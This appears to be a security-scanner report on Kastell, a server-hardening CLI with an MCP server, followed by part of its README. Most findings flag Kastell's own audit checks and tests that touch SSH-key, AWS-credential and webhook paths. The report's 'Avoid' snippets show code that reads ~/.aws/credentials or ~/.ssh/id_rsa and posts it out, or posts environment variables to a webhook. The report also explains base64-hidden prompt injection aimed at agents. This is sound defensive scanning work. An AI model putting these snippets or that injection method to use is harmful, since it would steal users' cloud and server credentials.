CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
20.0 pts
Maintenancestaleness, pinning, CI
15%
15.0 pts
TransparencySKILL.md, perms, README
15%
15.0 pts
Communityinstalls, verify, response
15%
15.0 pts
Findings & checks · 107 flagged
Security
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/core/audit/checks/secrets.ts×4
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters
This plugin references the AWS credentials file or the access-key fields stored inside it (expectedValue: "~/.aws/credentials has mode 600 …). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.
The exact value spotted
189};
190},
191expectedValue: "~/.aws/credentials has mode 600 and is not world-readable",
192fixCommand:
193"find /home /root -maxdepth 3 -path '*/.aws/credentials' -exec chmod 600 {} \\;",
Occurrences
4 occurrences · first at L191, also L193, L196 +1 moreShow all 4 locations
Line
File
L191
src/core/audit/checks/secrets.ts
L193
src/core/audit/checks/secrets.ts
L196
src/core/audit/checks/secrets.ts
L341
src/core/audit/checks/secrets.ts
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
- Delete code that opens or parses the credentials file or its key fields by hand.
- Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoid
creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})Safer pattern
# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/unit/audit-checks-secrets.test.ts×4
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters
This plugin references the AWS credentials file or the access-key fields stored inside it ("AWS_CREDS_FOUND\n/home/alice/.aws/credentials",). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.
The exact value spotted
33"WORLD_READABLE_KEY\n/home/alice/.ssh/id_rsa",
34"PLAINTEXT_ETC_CRED\n/etc/mysql/my.cnf",
35"AWS_CREDS_FOUND\n/home/alice/.aws/credentials",
36"DOCKER_ENV_FOUND\n/home/alice/docker.env",
37"NPMRC_TOKEN_FOUND\n/home/alice/.npmrc",
Occurrences
4 occurrences · first at L35, also L200, L307 +1 moreShow all 4 locations
Line
File
L35
tests/unit/audit-checks-secrets.test.ts
L200
tests/unit/audit-checks-secrets.test.ts
L307
tests/unit/audit-checks-secrets.test.ts
L453
tests/unit/audit-checks-secrets.test.ts
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
- Delete code that opens or parses the credentials file or its key fields by hand.
- Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoid
creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})Safer pattern
# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · src/core/audit/checks/secrets.ts×2
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters
This plugin references an SSH private-key path or a private-key file header (// Look for stat output like "664 /home/user/.ss…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.
The exact value spotted
49severity: "critical",
50check: (output) => {
51// Look for stat output like "664 /home/user/.ssh/id_rsa" or "644 /home/user/.ssh/id_ed25519
… (1 chars elided on L51)
52// Permissions > 600 are overly permissive for private keys
53const lines = output.split("\n");
Occurrences
2 occurrences · first at L51, also L51Show all 2 locations
Line
File
L51
src/core/audit/checks/secrets.ts
L51
src/core/audit/checks/secrets.ts
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
- Delete any direct read of id_rsa / id_ed25519 or other key files.
- Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoid
key = open(os.path.expanduser("~/.ssh/id_rsa")).read()
requests.post(url, data={"key": key})Safer pattern
# let the SSH agent / git handle auth; never read or send the key
subprocess.run(["git", "fetch", remote], check=True)Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · src/core/audit/commands.ts×3
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters
This plugin references an SSH private-key path or a private-key file header (`stat -c '%a %n' /root/.ssh/id_rsa /root/.ssh/id…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.
The exact value spotted
481`ENVWR=$(find /root /home /etc -maxdepth 3 \\( -name ".env" -o -name "*.env" \\) -perm -o+r
… (104 chars elided on L481)
482// SSH private key permissions
483`stat -c '%a %n' /root/.ssh/id_rsa /root/.ssh/id_ed25519 /root/.ssh/id_ecdsa 2>/dev/null ||
… (16 chars elided on L483)
484// Git config tokens
485`git config --global --get-regexp 'url.*token' 2>/dev/null | head -5 || echo 'NO_GIT_TOKENS'
… (2 chars elided on L485)
Occurrences
3 occurrences · first at L483, also L483, L483Show all 3 locations
Line
File
L483
src/core/audit/commands.ts
L483
src/core/audit/commands.ts
L483
src/core/audit/commands.ts
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
- Delete any direct read of id_rsa / id_ed25519 or other key files.
- Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoid
key = open(os.path.expanduser("~/.ssh/id_rsa")).read()
requests.post(url, data={"key": key})Safer pattern
# let the SSH agent / git handle auth; never read or send the key
subprocess.run(["git", "fetch", remote], check=True)Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · src/core/deploy.ts
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters
This plugin references an SSH private-key path or a private-key file header (logger.success("SSH key generated (~/.ssh/id_ed2…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.
The exact value spotted
41publicKey = generateSshKey();
42if (publicKey) {
43logger.success("SSH key generated (~/.ssh/id_ed25519)");
44} else {
45logger.warning("Could not generate SSH key — falling back to password auth");
Occurrences
1 occurrence · at L43How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
- Delete any direct read of id_rsa / id_ed25519 or other key files.
- Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoid
key = open(os.path.expanduser("~/.ssh/id_rsa")).read()
requests.post(url, data={"key": key})Safer pattern
# let the SSH agent / git handle auth; never read or send the key
subprocess.run(["git", "fetch", remote], check=True)Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · src/core/provision.ts
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters
This plugin references an SSH private-key path or a private-key file header (process.stderr.write("[provision] SSH key genera…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.
The exact value spotted
294return [];
295}
296process.stderr.write("[provision] SSH key generated (~/.ssh/id_ed25519)\n");
297}
298
Occurrences
1 occurrence · at L296How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
- Delete any direct read of id_rsa / id_ed25519 or other key files.
- Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoid
key = open(os.path.expanduser("~/.ssh/id_rsa")).read()
requests.post(url, data={"key": key})Safer pattern
# let the SSH agent / git handle auth; never read or send the key
subprocess.run(["git", "fetch", remote], check=True)Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/unit/audit-checks-secrets.test.ts×6
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters
This plugin references an SSH private-key path or a private-key file header ("600 /home/alice/.ssh/id_rsa",). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.
The exact value spotted
6"NO_WORLD_READABLE_ENV",
7"NONE",
8"600 /home/alice/.ssh/id_rsa",
9"NONE",
10"NONE",
Occurrences
6 occurrences · first at L8, also L29, L29 +3 moreShow all 6 locations
Line
File
L8
tests/unit/audit-checks-secrets.test.ts
L29
tests/unit/audit-checks-secrets.test.ts
L29
tests/unit/audit-checks-secrets.test.ts
L33
tests/unit/audit-checks-secrets.test.ts
L250
tests/unit/audit-checks-secrets.test.ts
L442
tests/unit/audit-checks-secrets.test.ts
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
- Delete any direct read of id_rsa / id_ed25519 or other key files.
- Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoid
key = open(os.path.expanduser("~/.ssh/id_rsa")).read()
requests.post(url, data={"key": key})Safer pattern
# let the SSH agent / git handle auth; never read or send the key
subprocess.run(["git", "fetch", remote], check=True)Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/unit/audit-commands.test.ts×9
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters
This plugin references an SSH private-key path or a private-key file header (expect(slow.command).toContain("stat -c '%a %n' …). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.
The exact value spotted
1369
1370it("[MUTATION-KILLER] SSH private key permissions stat", () => {
1371expect(slow.command).toContain("stat -c '%a %n' /root/.ssh/id_rsa /root/.ssh/id_ed25519 /roo
… (48 chars elided on L1371)
1372});
1373
Occurrences
9 occurrences · first at L1371, also L1371, L1371 +6 moreShow all 9 locations
Line
File
L1371
tests/unit/audit-commands.test.ts
L1371
tests/unit/audit-commands.test.ts
L1371
tests/unit/audit-commands.test.ts
L3001
tests/unit/audit-commands.test.ts
L3002
tests/unit/audit-commands.test.ts
L3005
tests/unit/audit-commands.test.ts
L3006
tests/unit/audit-commands.test.ts
L3009
tests/unit/audit-commands.test.ts
L3010
tests/unit/audit-commands.test.ts
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
- Delete any direct read of id_rsa / id_ed25519 or other key files.
- Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoid
key = open(os.path.expanduser("~/.ssh/id_rsa")).read()
requests.post(url, data={"key": key})Safer pattern
# let the SSH agent / git handle auth; never read or send the key
subprocess.run(["git", "fetch", remote], check=True)Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/unit/deploy.test.ts×2
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters
This plugin references an SSH private-key path or a private-key file header (it("logs success with ~/.ssh/id_ed25519 on key g…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.
The exact value spotted
180});
181
182it("logs success with ~/.ssh/id_ed25519 on key generation", async () => {
183mockedSshKey.findLocalSshKey.mockReturnValue(null);
184mockedSshKey.generateSshKey.mockReturnValue("ssh-ed25519 GENERATED...");
Occurrences
2 occurrences · first at L182, also L187Show all 2 locations
Line
File
L182
tests/unit/deploy.test.ts
L187
tests/unit/deploy.test.ts
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
- Delete any direct read of id_rsa / id_ed25519 or other key files.
- Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoid
key = open(os.path.expanduser("~/.ssh/id_rsa")).read()
requests.post(url, data={"key": key})Safer pattern
# let the SSH agent / git handle auth; never read or send the key
subprocess.run(["git", "fetch", remote], check=True)Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · src/core/notify.ts
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters
This plugin embeds a chat-platform or request-capture webhook URL (return sendHttp(`https://api.telegram.org/bot${b…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
The exact value spotted
80return { success: false, error: "Invalid Telegram bot token format" };
81}
82return sendHttp(`https://api.telegram.org/bot${botToken}/sendMessage`, { chat_id: chatId, te
… (6 chars elided on L82)
83}
84
Occurrences
1 occurrence · at L82How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
- Replace the embedded webhook URL with a value the installing user supplies.
- Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoid
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})Safer pattern
# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/e2e/notify.test.ts×13
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters
This plugin embeds a chat-platform or request-capture webhook URL (mockedInquirer.prompt.mockResolvedValueOnce({ we…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
The exact value spotted
50
51it("should dispatch to correct channel type (discord)", async () => {
52mockedInquirer.prompt.mockResolvedValueOnce({ webhookUrl: "https://discord.com/api/webhooks/
… (18 chars elided on L52)
53
54await addChannel("discord", {});
Occurrences
13 occurrences · first at L52, also L57, L88 +10 moreShow all 13 locations
Line
File
L52
tests/e2e/notify.test.ts
L57
tests/e2e/notify.test.ts
L88
tests/e2e/notify.test.ts
L92
tests/e2e/notify.test.ts
L134
tests/e2e/notify.test.ts
L142
tests/e2e/notify.test.ts
L149
tests/e2e/notify.test.ts
L162
tests/e2e/notify.test.ts
L169
tests/e2e/notify.test.ts
L196
tests/e2e/notify.test.ts
L210
tests/e2e/notify.test.ts
L278
tests/e2e/notify.test.ts
L285
tests/e2e/notify.test.ts
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
- Replace the embedded webhook URL with a value the installing user supplies.
- Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoid
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})Safer pattern
# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/unit/notify-command.test.ts×9
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters
This plugin embeds a chat-platform or request-capture webhook URL (webhookUrl: "https://discord.com/api/webhooks/12…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
The exact value spotted
83await addChannel("discord", {
84force: true,
85webhookUrl: "https://discord.com/api/webhooks/123/abc",
86});
87
Occurrences
9 occurrences · first at L85, also L89, L96 +6 moreShow all 9 locations
Line
File
L85
tests/unit/notify-command.test.ts
L89
tests/unit/notify-command.test.ts
L96
tests/unit/notify-command.test.ts
L100
tests/unit/notify-command.test.ts
L151
tests/unit/notify-command.test.ts
L182
tests/unit/notify-command.test.ts
L189
tests/unit/notify-command.test.ts
L197
tests/unit/notify-command.test.ts
L204
tests/unit/notify-command.test.ts
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
- Replace the embedded webhook URL with a value the installing user supplies.
- Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoid
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})Safer pattern
# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/unit/notify-keychain.test.ts×6
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters
This plugin embeds a chat-platform or request-capture webhook URL (discord: { webhookUrl: "https://discord.com/api/…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
The exact value spotted
84it("returns discord config from keychain-backed store", () => {
85const expected: NotifyConfig = {
86discord: { webhookUrl: "https://discord.com/api/webhooks/1/tok" },
87};
88mockedLoadNotifyChannels.mockReturnValue(expected);
Occurrences
6 occurrences · first at L86, also L92, L115 +3 moreShow all 6 locations
Line
File
L86
tests/unit/notify-keychain.test.ts
L92
tests/unit/notify-keychain.test.ts
L115
tests/unit/notify-keychain.test.ts
L119
tests/unit/notify-keychain.test.ts
L126
tests/unit/notify-keychain.test.ts
L130
tests/unit/notify-keychain.test.ts
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
- Replace the embedded webhook URL with a value the installing user supplies.
- Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoid
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})Safer pattern
# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/unit/notify-ssrf.test.ts×2
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters
This plugin embeds a chat-platform or request-capture webhook URL (await sendDiscord("https://discord.com/api/webho…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
The exact value spotted
90mockedAxiosPost.mockResolvedValue({ status: 204 });
91
92await sendDiscord("https://discord.com/api/webhooks/1/token", "message");
93
94expect(mockedAxiosPost).toHaveBeenCalledWith(
Occurrences
2 occurrences · first at L92, also L95Show all 2 locations
Line
File
L92
tests/unit/notify-ssrf.test.ts
L95
tests/unit/notify-ssrf.test.ts
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
- Replace the embedded webhook URL with a value the installing user supplies.
- Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoid
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})Safer pattern
# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/unit/notify.test.ts×31
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters
This plugin embeds a chat-platform or request-capture webhook URL (const config = { discord: { webhookUrl: "https:/…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
The exact value spotted
91
92it("returns discord config from notifyStore (NOTF-02)", () => {
93const config = { discord: { webhookUrl: "https://discord.com/api/webhooks/123/abc" } };
94mockedLoadNotifyChannels.mockReturnValue(config);
95
Occurrences
31 occurrences · first at L93, also L98, L102 +28 moreShow all 31 locations
Line
File
L93
tests/unit/notify.test.ts
L98
tests/unit/notify.test.ts
L102
tests/unit/notify.test.ts
L107
tests/unit/notify.test.ts
L120
tests/unit/notify.test.ts
L162
tests/unit/notify.test.ts
L165
tests/unit/notify.test.ts
L179
tests/unit/notify.test.ts
L187
tests/unit/notify.test.ts
L196
tests/unit/notify.test.ts
L199
tests/unit/notify.test.ts
L213
tests/unit/notify.test.ts
L221
tests/unit/notify.test.ts
L236
tests/unit/notify.test.ts
L237
tests/unit/notify.test.ts
L253
tests/unit/notify.test.ts
L452
tests/unit/notify.test.ts
L453
tests/unit/notify.test.ts
L549
tests/unit/notify.test.ts
L554
tests/unit/notify.test.ts
L561
tests/unit/notify.test.ts
L566
tests/unit/notify.test.ts
L610
tests/unit/notify.test.ts
L619
tests/unit/notify.test.ts
L625
tests/unit/notify.test.ts
L634
tests/unit/notify.test.ts
L674
tests/unit/notify.test.ts
L702
tests/unit/notify.test.ts
L712
tests/unit/notify.test.ts
L723
tests/unit/notify.test.ts
L733
tests/unit/notify.test.ts
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
- Replace the embedded webhook URL with a value the installing user supplies.
- Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoid
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})Safer pattern
# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · tests/unit/notifyStore.test.ts×11
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters
This plugin embeds a chat-platform or request-capture webhook URL (const result = storeNotifySecret("discord", "web…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
The exact value spotted
81
82it("stores discord webhookUrl in keychain and returns true (SEC-01)", () => {
83const result = storeNotifySecret("discord", "webhookUrl", "https://discord.com/api/webhooks/
… (8 chars elided on L83)
84
85expect(result).toBe(true);
Occurrences
11 occurrences · first at L83, also L107, L111 +8 moreShow all 11 locations
Line
File
L83
tests/unit/notifyStore.test.ts
L107
tests/unit/notifyStore.test.ts
L111
tests/unit/notifyStore.test.ts
L231
tests/unit/notifyStore.test.ts
L234
tests/unit/notifyStore.test.ts
L306
tests/unit/notifyStore.test.ts
L310
tests/unit/notifyStore.test.ts
L656
tests/unit/notifyStore.test.ts
L662
tests/unit/notifyStore.test.ts
L679
tests/unit/notifyStore.test.ts
L687
tests/unit/notifyStore.test.ts
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
- Replace the embedded webhook URL with a value the installing user supplies.
- Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoid
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})Safer pattern
# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Framework references
OWASPLLM02ATLASAML.T0025CWE-200Trace & refs
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · README.md
HIGH — once decoded by the agent, an encoded payload has the same impact class as plain-text injection.
Why it matters
A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.
The exact value spotted
17[](https://snyk.io/test/git
… (23 chars elided on L17)
18[](https:
… (14 chars elided on L18)
19[
20
21
Occurrences
1 occurrence · at L19How to fix
Remove the encoded blob, or decode it and review what it actually contains.
- Decode the base64 string and confirm it is not an instruction directed at the agent.
- Move any legitimate binary or signature data into a dedicated file (
*.sig,SIGNATURES) outside the documentation.
Framework references
OWASPLLM01ATLASAML.T0051Trace & refs
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · README.tr.md
HIGH — once decoded by the agent, an encoded payload has the same impact class as plain-text injection.
Why it matters
A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.
The exact value spotted
17[](https://snyk.io/test/git
… (23 chars elided on L17)
18[](https:
… (14 chars elided on L18)
19[
20
21
Occurrences
1 occurrence · at L19How to fix
Remove the encoded blob, or decode it and review what it actually contains.
- Decode the base64 string and confirm it is not an instruction directed at the agent.
- Move any legitimate binary or signature data into a dedicated file (
*.sig,SIGNATURES) outside the documentation.
Framework references
OWASPLLM01ATLASAML.T0051Trace & refs
Supply chain
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenance
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparency
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Community
✓—All community checks passedNo findings in this category for the latest scan.pass
Every scanned point with the score it earned and what moved between them.
47ca31c
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
<p align="center"> <img src="assets/logo.png" alt="Kastell" width="120" /> </p>
<h1 align="center">Kastell</h1> <p align="center">Your infrastructure, fortified.</p>
English | Türkçe
Why Kastell?
Server security is fragmented. Lynis scans but doesn't fix. OpenSCAP is powerful but complex. Custom scripts work until they don't -- and nobody maintains them. Each tool has its own output format, its own update cycle, its own learning curve.
Kastell takes a different approach: one CLI that audits, fixes, hardens, and monitors. Scan your server, apply safe fixes, lock it down to production standards, and keep watching -- all with the same tool.
AI-native from day one. Kastell ships with a built-in MCP server, so Claude, Cursor, or any MCP-compatible AI agent can manage your servers directly. Go from a prompt to production hardening in seconds.
You don't need four separate tools to secure a server.
Quick Start
# Interactive mode -- no commands to memorize
npx kastellRunning kastell without any arguments launches an interactive search menu with a gradient ASCII banner and quick-start examples. Browse actions by emoji-categorized groups, type to filter results instantly, and configure options step by step -- no need to remember any command names or flags.
██╗ ██╗ ██████╗ ███████╗████████╗███████╗██╗ ██╗
██║ ██╔╝ ██╔══██╗ ██╔════╝╚══██╔══╝██╔════╝██║ ██║
█████╔╝ ███████║ ███████╗ ██║ █████╗ ██║ ██║
██╔═██╗ ██╔══██║ ╚════██║ ██║ ██╔══╝ ██║ ██║
██║ ██╗ ██║ ██║ ███████║ ██║ ███████╗███████╗███████╗
╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝╚══════╝╚══════╝
KASTELL v2.3.0 · Your infrastructure, fortified.
$ kastell init --template production → deploy a new server
$ kastell status --all → check all servers
$ kastell secure setup → harden SSH + fail2ban
$ kastell maintain --all → full maintenance cycle
? What would you like to do?
Server Management
❯ Deploy a new server
Add an existing server
List all servers
...
Security
Harden SSH & fail2ban
Manage firewall (UFW)
...Each action includes sub-options (server mode, template, log source, port number, etc.) and a <- Back option to return to the main menu at any point.
If you already know the commands, you can still use them directly:
kastell init # Deploy a new server
kastell status my-server # Check server status
kastell backup --all # Backup all serversKastell handles server provisioning, SSH key setup, firewall configuration, and platform installation automatically.
What Makes Kastell Different?
| Problem | Solution |
|---|---|
| Broke your server with an update? | Pre-update snapshot protection via maintain |
| No idea if your server is healthy? | Built-in monitoring, health checks, and doctor diagnostics |
| Security is an afterthought? | Firewall, SSH hardening, SSL, and security audits built-in |
| Backups? Maybe someday... | One-command backup & restore with manifest tracking |
| Managing multiple servers? | --all flag across backup, maintain, status, and health |
| Existing server not tracked? | kastell add brings any server under management |
| Don't want to memorize commands? | Just run kastell -- interactive menu guides you |
Kastell vs Alternatives
| Feature | Kastell | Lynis | OpenSCAP |
|---|---|---|---|
| Installation | npm i -g kastell | Package manager | Package manager |
| Language | TypeScript | Shell | C/Python |
| Security Checks | 470+ | 300+ | Varies by profile |
| Auto-Fix | Safe tier | Suggest only | Suggest only |
| MCP (AI Agent) | 17 tools | -- | -- |
| Compliance | CIS, PCI-DSS, HIPAA | CIS, HIPAA | CIS, STIG, PCI-DSS |
| Cloud Provision | 4 providers | -- | -- |
| Hardening (Lock) | 24-step | -- | -- |
| Remote Monitoring | Guard daemon | -- | -- |
| Telegram Bot | Built-in | -- | -- |
| Platform Support | Linux (SSH) | Linux/macOS/BSD | Linux |
| License | Apache 2.0 | GPL-3.0 | LGPL-2.1 |
What Can You Do?
Deploy
kastell # Interactive menu (recommended)
kastell init # Interactive setup (direct)
kastell init --provider hetzner # Non-interactive
kastell init --config kastell.yml # From YAML config
kastell init --template production # Use a template
kastell init --mode bare # Generic VPS (no platform)
kastell init --mode dokploy # Dokploy (Docker Swarm PaaS)Manage
kastell list # List all servers
kastell status my-server # Check server status
kastell status --all # Check all servers
kastell ssh my-server # SSH into server
kastell restart my-server # Restart server
kastell destroy my-server # Destroy cloud server entirely
kastell add # Add existing server
kastell remove my-server # Remove from local config
kastell config set key value # Manage default configuration
kastell config validate # Validate servers.yaml structure and types
kastell export # Export server list to JSON
kastell import servers.json # Import servers from JSONUpdate & Maintain
kastell update my-server # Update platform (Coolify or Dokploy, auto-detected)
kastell update my-server --dry-run # Preview update without executing
kastell maintain my-server # Full maintenance (snapshot + update + health + reboot)
kastell maintain my-server --dry-run # Preview maintenance steps
kastell maintain --all # Maintain all serversBack Up & Restore
kastell backup my-server # Backup DB + config
kastell backup --all # Backup all servers
kastell restore my-server # Restore from backupSnapshots
